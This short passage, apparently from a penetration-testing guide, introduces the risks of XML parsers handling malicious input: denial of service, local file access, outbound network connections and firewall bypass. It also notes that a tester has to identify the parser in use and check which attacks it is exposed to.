XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
